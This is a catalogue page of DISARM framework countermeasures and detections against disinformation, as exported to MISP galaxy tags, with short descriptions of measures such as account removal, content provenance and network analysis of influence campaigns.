https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00162.md

compatriot policy

protect the interests of this population and, more importantly, influence the population to support pro-Russia causes and effectively influence the politics of its neighbours

The tag is: *misp-galaxy:disarm-countermeasures="compatriot policy"*

Table 1142. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00164.md

Ensure integrity of official documents

e.g. for leaked legal documents, use court motions to limit future discovery actions

The tag is: *misp-galaxy:disarm-countermeasures="Ensure integrity of official documents"*

Table 1143. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00165.md

develop a creative content hub

international donors will donate to a basket fund that will pay a committee of local experts who will, in turn, manage and distribute the money to Russian-language producers and broadcasters that pitch various projects.

The tag is: *misp-galaxy:disarm-countermeasures="develop a creative content hub"*

Table 1144. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00169.md

elevate information as a critical domain of statecraft

Shift from reactive to proactive response, with priority on sharing relevant information with the public and mobilising private-sector engagement. Recent advances in data-driven technologies have elevated information as a source of power to influence the political and economic environment, to foster economic growth, to enable a decision-making advantage over competitors, and to communicate securely and quickly.

The tag is: *misp-galaxy:disarm-countermeasures="elevate information as a critical domain of statecraft"*

Table 1145. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00170.md

social media source removal

Removing accounts, pages, groups, e.g. facebook page removal

The tag is: *misp-galaxy:disarm-countermeasures="social media source removal"*

Table 1146. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00172.md

Create a healthier news environment

Free and fair press: create bipartisan, patriotic commitment to press freedom. Note difference between news and editorialising. Build alternative news sources: create alternative local-language news sources to counter local-language propaganda outlets. Delegitimize the 24 hour news cycle. includes Provide an alternative to disinformation content by expanding and improving local content: Develop content that can displace geopolitically-motivated narratives in the entire media environment, both new and old media alike.

The tag is: *misp-galaxy:disarm-countermeasures="Create a healthier news environment"*

Table 1147. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00174.md

Improve Coordination amongst stakeholders: public and private

Coordinated disinformation challenges are increasingly multidisciplinary, there are few organisations within the national security structures that are equipped with the broad-spectrum capability to effectively counter large-scale conflict short of war tactics in real-time. Institutional hurdles currently impede diverse subject matter experts, hailing from outside of the traditional national security and foreign policy disciplines (e.g., physical science, engineering, media, legal, and economics fields), from contributing to the direct development of national security countermeasures to emerging conflict short of war threat vectors. A Cognitive Security Action Group (CSAG), akin to the Counterterrorism Security Group (CSG), could drive interagency alignment across equivalents of DHS, DoS, DoD, Intelligence Community, and other implementing agencies, in areas including strategic narrative, and the nexus of cyber and information operations.

The tag is: *misp-galaxy:disarm-countermeasures="Improve Coordination amongst stakeholders: public and private"*

Table 1148. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00176.md

Fill information voids with non-disinformation content

1) Pollute the data voids with wholesome content (Kittens! Babyshark!). 2) fill data voids with relevant information, e.g. increase Russian-language programming in areas subject to Russian disinformation.

The tag is: *misp-galaxy:disarm-countermeasures="Fill information voids with non-disinformation content"*

Table 1149. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00178.md

Redirection / malware detection/ remediation

Detect redirction or malware, then quarantine or delete.

The tag is: *misp-galaxy:disarm-countermeasures="Redirection / malware detection/ remediation"*

Table 1150. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00182.md

Media exposure

highlight misinformation activities and actors in media

The tag is: *misp-galaxy:disarm-countermeasures="Media exposure"*

Table 1151. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00184.md

Newsroom/Journalist training to counter influence moves

Includes SEO influence. Includes promotion of a “higher standard of journalism”: journalism training “would be helpful, especially for the online community. Includes Strengthen local media: Improve effectiveness of local media outlets.

The tag is: *misp-galaxy:disarm-countermeasures="Newsroom/Journalist training to counter influence moves"*

Table 1152. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00188.md

Ensure that platforms are taking down flagged accounts

Use ongoing analysis/monitoring of "flagged" profiles. Confirm whether platforms are actively removing flagged accounts, and raise pressure via e.g. government organisations to encourage removal

The tag is: *misp-galaxy:disarm-countermeasures="Ensure that platforms are taking down flagged accounts"*

Table 1153. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00189.md

open engagement with civil society

Government open engagement with civil society as an independent check on government action and messaging. Government seeks to coordinate and synchronise narrative themes with allies and partners while calibrating action in cases where elements in these countries may have been co-opted by competitor nations. Includes “fight in the light”: Use leadership in the arts, entertainment, and media to highlight and build on fundamental tenets of democracy.

The tag is: *misp-galaxy:disarm-countermeasures="open engagement with civil society"*

Table 1154. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00190.md

Redirect searches away from disinformation or extremist content

Use Google AdWords to identify instances in which people search Google about particular fake-news stories or propaganda themes. Includes Monetize centrist SEO by subsidising the difference in greater clicks towards extremist content.

The tag is: *misp-galaxy:disarm-countermeasures="Redirect searches away from disinformation or extremist content"*

Table 1155. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00195.md

remove suspicious accounts

Standard reporting for false profiles (identity issues). Includes detecting hijacked accounts and reallocating them - if possible, back to original owners.

The tag is: *misp-galaxy:disarm-countermeasures="remove suspicious accounts"*

Table 1156. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00197.md

Respected figure (influencer) disavows misinfo

FIXIT: standardise language used for influencer/ respected figure.

The tag is: *misp-galaxy:disarm-countermeasures="Respected figure (influencer) disavows misinfo"*

Table 1157. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00200.md

Set data 'honeytraps'

Set honeytraps in content likely to be accessed for disinformation.

The tag is: *misp-galaxy:disarm-countermeasures="Set data 'honeytraps'"*

Table 1158. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00202.md

Stop offering press credentials to propaganda outlets

Remove access to official press events from known misinformation actors.

The tag is: *misp-galaxy:disarm-countermeasures="Stop offering press credentials to propaganda outlets"*

Table 1159. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00203.md

strong dialogue between the federal government and private sector to encourage better reporting

Increase civic resilience by partnering with business community to combat grey zone threats and ensuring adequate reporting and enforcement mechanisms.

The tag is: *misp-galaxy:disarm-countermeasures="strong dialogue between the federal government and private sector to encourage better reporting"*

Table 1160. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00205.md

Run a competing disinformation campaign - not recommended

The tag is: *misp-galaxy:disarm-countermeasures="Run a competing disinformation campaign - not recommended"*

Table 1161. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00207.md

Use humorous counter-narratives

The tag is: *misp-galaxy:disarm-countermeasures="Use humorous counter-narratives"*

Table 1162. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00211.md

build public resilience by making civil society more vibrant

Increase public service experience, and support wider civics and history education.

The tag is: *misp-galaxy:disarm-countermeasures="build public resilience by making civil society more vibrant"*

Table 1163. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00212.md

Use advertiser controls to stem flow of funds to bad actors

Prevent ad revenue going to disinformation domains

The tag is: *misp-galaxy:disarm-countermeasures="Use advertiser controls to stem flow of funds to bad actors"*

Table 1164. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00216.md

Add metadata to content that's out of the control of disinformation creators

Steganography. Adding date, signatures etc to stop issue of photo relabelling etc.

The tag is: *misp-galaxy:disarm-countermeasures="Add metadata to content that's out of the control of disinformation creators"*

Table 1165. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00219.md

Develop a monitoring and intelligence plan

Create a plan for misinformation and disinformation response, before it's needed. Include connections / contacts needed, expected counteremessages etc.

The tag is: *misp-galaxy:disarm-countermeasures="Develop a monitoring and intelligence plan"*

Table 1166. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00220.md

Run a disinformation red team, and design mitigation factors

Include PACE plans - Primary, Alternate, Contingency, Emergency

The tag is: *misp-galaxy:disarm-countermeasures="Run a disinformation red team, and design mitigation factors"*

Table 1167. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00221.md

Tabletop simulations

Simulate misinformation and disinformation campaigns, and responses to them, before campaigns happen.

The tag is: *misp-galaxy:disarm-countermeasures="Tabletop simulations"*

Table 1168. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00222.md

Strengthen Trust in social media platforms

Improve trust in the misinformation responses from social media and other platforms. Examples include creating greater transparancy on their actions and algorithms.

The tag is: *misp-galaxy:disarm-countermeasures="Strengthen Trust in social media platforms"*

Table 1169. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/counters/C00223.md

Detections

DISARM is a framework designed for describing and understanding disinformation incidents..

Detections is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

DISARM Project

Analyse aborted / failed campaigns

Examine failed campaigns. How did they fail? Can we create useful activities that increase these failures?

The tag is: *misp-galaxy:disarm-detections="Analyse aborted / failed campaigns"*

Table 1170. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00001.md

Analyse viral fizzle

We have no idea what this means. Is it something to do with the way a viral story spreads?

The tag is: *misp-galaxy:disarm-detections="Analyse viral fizzle"*

Table 1171. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00002.md

Exploit counter-intelligence vs bad actors

The tag is: *misp-galaxy:disarm-detections="Exploit counter-intelligence vs bad actors"*

Table 1172. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00003.md

Recruit like-minded converts "people who used to be in-group"

The tag is: *misp-galaxy:disarm-detections="Recruit like-minded converts "people who used to be in-group""*

Table 1173. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00004.md

SWOT Analysis of Cognition in Various Groups

Strengths, Weaknesses, Opportunities, Threats analysis of groups and audience segments.

The tag is: *misp-galaxy:disarm-detections="SWOT Analysis of Cognition in Various Groups"*

Table 1174. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00005.md

SWOT analysis of tech platforms

The tag is: *misp-galaxy:disarm-detections="SWOT analysis of tech platforms"*

Table 1175. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00006.md

Monitor account level activity in social networks

The tag is: *misp-galaxy:disarm-detections="Monitor account level activity in social networks"*

Table 1176. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00007.md

Detect abnormal amplification

The tag is: *misp-galaxy:disarm-detections="Detect abnormal amplification"*

Table 1177. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00008.md

Detect abnormal events

The tag is: *misp-galaxy:disarm-detections="Detect abnormal events"*

Table 1178. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00009.md

Detect abnormal groups

The tag is: *misp-galaxy:disarm-detections="Detect abnormal groups"*

Table 1179. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00010.md

Detect abnormal pages

The tag is: *misp-galaxy:disarm-detections="Detect abnormal pages"*

Table 1180. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00011.md

Detect abnormal profiles, e.g. prolific pages/ groups/ people

The tag is: *misp-galaxy:disarm-detections="Detect abnormal profiles, e.g. prolific pages/ groups/ people"*

Table 1181. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00012.md

Identify fake news sites

The tag is: *misp-galaxy:disarm-detections="Identify fake news sites"*

Table 1182. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00013.md

Trace connections

for e.g. fake news sites

The tag is: *misp-galaxy:disarm-detections="Trace connections"*

Table 1183. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00014.md

Detect anomalies in membership growth patterns

I include Fake Experts as they may use funding campaigns such as Patreon to fund their operations and so these should be watched.

The tag is: *misp-galaxy:disarm-detections="Detect anomalies in membership growth patterns"*

Table 1184. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00015.md

Identify fence-sitters

Note: In each case, depending on the platform there may be a way to identify a fence-sitter. For example, online polls may have a neutral option or a "somewhat this-or-that" option, and may reveal who voted for that to all visitors. This information could be of use to data analysts. In TA08-11, the engagement level of victims could be identified to detect and respond to increasing engagement.

The tag is: *misp-galaxy:disarm-detections="Identify fence-sitters"*

Table 1185. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00016.md

Measure emotional valence

The tag is: *misp-galaxy:disarm-detections="Measure emotional valence"*

Table 1186. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00017.md

Follow the money

track funding sources

The tag is: *misp-galaxy:disarm-detections="Follow the money"*

Table 1187. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00018.md

Activity resurgence detection (alarm when dormant accounts become activated)

The tag is: *misp-galaxy:disarm-detections="Activity resurgence detection (alarm when dormant accounts become activated)"*

Table 1188. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00019.md

Detect anomalous activity

The tag is: *misp-galaxy:disarm-detections="Detect anomalous activity"*

Table 1189. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00020.md

AI/ML automated early detection of campaign planning

The tag is: *misp-galaxy:disarm-detections="AI/ML automated early detection of campaign planning"*

Table 1190. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00021.md

Digital authority - regulating body (united states)

The tag is: *misp-galaxy:disarm-detections="Digital authority - regulating body (united states)"*

Table 1191. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00022.md

Periodic verification (counter to hijack legitimate account)

The tag is: *misp-galaxy:disarm-detections="Periodic verification (counter to hijack legitimate account)"*

Table 1192. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00023.md

Teach civics to kids/ adults/ seniors

The tag is: *misp-galaxy:disarm-detections="Teach civics to kids/ adults/ seniors"*

Table 1193. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00024.md

Boots-on-the-ground early narrative detection

The tag is: *misp-galaxy:disarm-detections="Boots-on-the-ground early narrative detection"*

Table 1194. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00025.md

Language anomoly detection

The tag is: *misp-galaxy:disarm-detections="Language anomoly detection"*

Table 1195. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00026.md

Unlikely correlation of sentiment on same topics

The tag is: *misp-galaxy:disarm-detections="Unlikely correlation of sentiment on same topics"*

Table 1196. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00027.md

Associate a public key signature with government documents

The tag is: *misp-galaxy:disarm-detections="Associate a public key signature with government documents"*

Table 1197. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00028.md

Detect proto narratives, i.e. RT, Sputnik

The tag is: *misp-galaxy:disarm-detections="Detect proto narratives, i.e. RT, Sputnik"*

Table 1198. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00029.md

Early detection and warning - reporting of suspect content

The tag is: *misp-galaxy:disarm-detections="Early detection and warning - reporting of suspect content"*

Table 1199. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00030.md

Educate on how to identify information pollution

Strategic planning included as innoculating population has strategic value.

The tag is: *misp-galaxy:disarm-detections="Educate on how to identify information pollution"*

Table 1200. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00031.md

Educate on how to identify to pollution

DUPLICATE - DELETE

The tag is: *misp-galaxy:disarm-detections="Educate on how to identify to pollution"*

Table 1201. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00032.md

Fake websites: add transparency on business model

The tag is: *misp-galaxy:disarm-detections="Fake websites: add transparency on business model"*

Table 1202. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00033.md

Flag the information spaces so people know about active flooding effort

The tag is: *misp-galaxy:disarm-detections="Flag the information spaces so people know about active flooding effort"*

Table 1203. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00034.md

Identify repeated narrative DNA

The tag is: *misp-galaxy:disarm-detections="Identify repeated narrative DNA"*

Table 1204. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00035.md

Looking for AB testing in unregulated channels

The tag is: *misp-galaxy:disarm-detections="Looking for AB testing in unregulated channels"*

Table 1205. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00036.md

News content provenance certification.

Original Comment: Shortcomings: intentional falsehood. Doesn't solve accuracy. Can't be mandatory. Technique should be in terms of "strategic innoculation", raising the standards of what people expect in terms of evidence when consuming news.

The tag is: *misp-galaxy:disarm-detections="News content provenance certification."*

Table 1206. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00037.md

Social capital as attack vector

Unsure I understood the original intention or what it applied to. Therefore the techniques listed (10, 39, 43, 57, 61) are under my interpretation - which is that we want to track ignorant agents who fall into the enemy's trap and show a cost to financing/reposting/helping the adversary via public shaming or other means.

The tag is: *misp-galaxy:disarm-detections="Social capital as attack vector"*

Table 1207. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00038.md

standards to track image/ video deep fakes - industry

The tag is: *misp-galaxy:disarm-detections="standards to track image/ video deep fakes - industry"*

Table 1208. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00039.md

Unalterable metadata signature on origins of image and provenance

The tag is: *misp-galaxy:disarm-detections="Unalterable metadata signature on origins of image and provenance"*

Table 1209. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00040.md

Bias detection

Not technically left of boom

The tag is: *misp-galaxy:disarm-detections="Bias detection"*

Table 1210. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00041.md

Categorise polls by intent

Use T00029, but against the creators

The tag is: *misp-galaxy:disarm-detections="Categorise polls by intent"*

Table 1211. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00042.md

Monitor for creation of fake known personas

Platform companies and some information security companies (e.g. ZeroFox) do this.

The tag is: *misp-galaxy:disarm-detections="Monitor for creation of fake known personas"*

Table 1212. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00043.md

Forensic analysis

Can be used in all phases for all techniques.

The tag is: *misp-galaxy:disarm-detections="Forensic analysis"*

Table 1213. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00044.md

Forensic linguistic analysis

Can be used in all phases for all techniques.

The tag is: *misp-galaxy:disarm-detections="Forensic linguistic analysis"*

Table 1214. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00045.md

Pump priming analytics

The tag is: *misp-galaxy:disarm-detections="Pump priming analytics"*

Table 1215. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00046.md

trace involved parties

The tag is: *misp-galaxy:disarm-detections="trace involved parties"*

Table 1216. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00047.md

Trace known operations and connection

The tag is: *misp-galaxy:disarm-detections="Trace known operations and connection"*

Table 1217. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00048.md

trace money

The tag is: *misp-galaxy:disarm-detections="trace money"*

Table 1218. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00049.md

Web cache analytics

The tag is: *misp-galaxy:disarm-detections="Web cache analytics"*

Table 1219. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00050.md

Challenge expertise

The tag is: *misp-galaxy:disarm-detections="Challenge expertise"*

Table 1220. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00051.md

Discover sponsors

Discovering the sponsors behind a campaign, narrative, bot, a set of accounts, or a social media comment, or anything else is useful.

The tag is: *misp-galaxy:disarm-detections="Discover sponsors"*

Table 1221. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00052.md

Government rumour control office (what can we learn?)

The tag is: *misp-galaxy:disarm-detections="Government rumour control office (what can we learn?)"*

Table 1222. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00053.md

Restrict people who can @ you on social networks

The tag is: *misp-galaxy:disarm-detections="Restrict people who can @ you on social networks"*

Table 1223. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00054.md

Verify credentials

The tag is: *misp-galaxy:disarm-detections="Verify credentials"*

Table 1224. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00055.md

Verify organisation legitimacy

The tag is: *misp-galaxy:disarm-detections="Verify organisation legitimacy"*

Table 1225. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00056.md

Verify personal credentials of experts

The tag is: *misp-galaxy:disarm-detections="Verify personal credentials of experts"*

Table 1226. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00057.md

Deplatform (cancel culture)

*Deplatform People: This technique needs to be a bit more specific to distinguish it from "account removal" or DDOS and other techniques that get more specific when applied to content. For example, other ways of deplatforming people include attacking their sources of funds, their allies, their followers, etc.

The tag is: *misp-galaxy:disarm-detections="Deplatform (cancel culture)"*

Table 1227. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00058.md

Identify susceptible demographics

All techniques provide or are susceptible to being countered by, or leveraged for, knowledge about user demographics.

The tag is: *misp-galaxy:disarm-detections="Identify susceptible demographics"*

Table 1228. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00059.md

Identify susceptible influencers

I assume this was a transcript error. Otherwise, "Identify Susceptible Influences" as in the various methods of influences that may work against a victim could also be a technique. Nope, wasn't a transcript error: original note says influencers, as in find people of influence that might be targetted.

The tag is: *misp-galaxy:disarm-detections="Identify susceptible influencers"*

Table 1229. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00060.md

Microtargeting

The tag is: *misp-galaxy:disarm-detections="Microtargeting"*

Table 1230. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00061.md

Detect when Dormant account turns active

The tag is: *misp-galaxy:disarm-detections="Detect when Dormant account turns active"*

Table 1231. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00062.md

Linguistic change analysis

The tag is: *misp-galaxy:disarm-detections="Linguistic change analysis"*

Table 1232. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00063.md

Monitor reports of account takeover

The tag is: *misp-galaxy:disarm-detections="Monitor reports of account takeover"*

Table 1233. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00064.md

Sentiment change analysis

The tag is: *misp-galaxy:disarm-detections="Sentiment change analysis"*

Table 1234. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00065.md

Use language errors, time to respond to account bans and lawsuits, to indicate capabilities

The tag is: *misp-galaxy:disarm-detections="Use language errors, time to respond to account bans and lawsuits, to indicate capabilities"*

Table 1235. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00066.md

Data forensics

The tag is: *misp-galaxy:disarm-detections="Data forensics"*

Table 1236. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00067.md

Resonance analysis

a developing methodology for identifying statistical differences in how social groups use language and quantifying how common those statistical differences are within a larger population. In essence, it hypothesises how much affinity might exist for a specific group within a general

population, based on the language its members employ

The tag is: *misp-galaxy:disarm-detections="Resonance analysis"*

Table 1237. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00068.md

Track Russian media and develop analytic methods.

To effectively counter Russian propaganda, it will be critical to track Russian influence efforts. The information requirements are varied and include the following: • Identify fake-news stories and their sources. • Understand narrative themes and content that pervade various Russian media sources. • Understand the broader Russian strategy that underlies tactical propaganda messaging.

The tag is: *misp-galaxy:disarm-detections="Track Russian media and develop analytic methods."*

Table 1238. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00069.md

Full spectrum analytics

The tag is: *misp-galaxy:disarm-detections="Full spectrum analytics"*

Table 1239. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00070.md

Network analysis Identify/cultivate/support influencers

Local influencers detected via Twitter networks are likely local influencers in other online and off-line channels as well. In addition, the content and themes gleaned from Russia and Russia-supporting populations, as well as anti-Russia activists, likely swirl in other online and off-line mediums as well.

The tag is: *misp-galaxy:disarm-detections="Network analysis Identify/cultivate/support influencers"*

Table 1240. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00071.md

network analysis to identify central users in the pro-Russia activist community.

It is possible that some of these are bots or trolls and could be flagged for suspension for violating Twitter's terms of service.

The tag is: *misp-galaxy:disarm-detections="network analysis to identify central users in the pro-Russia activist community."*

Table 1241. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00072.md

collect intel/recon on black/covert content creators/manipulators

Players at the level of covert attribution, referred to as "black" in the grayscale of deniability, produce content on user-generated media, such as YouTube, but also add fear-mongering commentary to and amplify content produced by others and supply exploitable content to data dump websites. These activities are conducted by a network of trolls, bots, honeypots, and hackers.

The tag is: *misp-galaxy:disarm-detections="collect intel/recon on black/covert content creators/manipulators"*

Table 1242. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00073.md

identify relevant fence-sitter communities

brand ambassador programmes could be used with influencers across a variety of social media channels. It could also target other prominent experts, such as academics, business leaders, and other potentially prominent people. Authorities must ultimately take care in implementing such a programme given the risk that contact with U.S. or NATO authorities might damage influencer reputations. Engagements must consequently be made with care, and, if possible, government interlocutors should work through local NGOs.

The tag is: *misp-galaxy:disarm-detections="identify relevant fence-sitter communities"*

Table 1243. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00074.md

leverage open-source information

significant amounts of quality open-source information are now available and should be leveraged to build products and analysis prior to problem prioritisation in the areas of observation, attribution, and intent. Successfully distinguishing the grey zone campaign signal through the global noise requires action through the entirety of the national security community. Policy, process, and tools must all adapt and evolve to detect, discern, and act upon a new type of signal

The tag is: *misp-galaxy:disarm-detections="leverage open-source information"*

Table 1244. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00075.md

Monitor/collect audience engagement data connected to “useful idiots”

Target audience connected to "useful idiots rather than the specific profiles because - The active presence of such sources complicates targeting of Russian propaganda, given that it is often difficult to discriminate between authentic views and opinions on the internet and those disseminated by the Russian state.

The tag is: *misp-galaxy:disarm-detections="Monitor/collect audience engagement data connected to “useful idiots”"*

Table 1245. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00076.md

Model for bot account behaviour

Bot account: action based, people. Unsure which DISARM techniques.

The tag is: *misp-galaxy:disarm-detections="Model for bot account behaviour"*

Table 1246. Table References

Links

https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00077.md

Network anomaly detection

The tag is: *misp-galaxy:disarm-detections="Network anomaly detection"*

Table 1247. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00079.md

Hack the polls/ content yourself

Two wrongs don't make a right? But if you hack your own polls, you do learn how it could be done, and learn what to look for

The tag is: *misp-galaxy:disarm-detections="Hack the polls/ content yourself"*

Table 1248. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00080.md

Need way for end user to report operations

The tag is: *misp-galaxy:disarm-detections="Need way for end user to report operations"*

Table 1249. Table References

Links
https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/detections/F00081.md

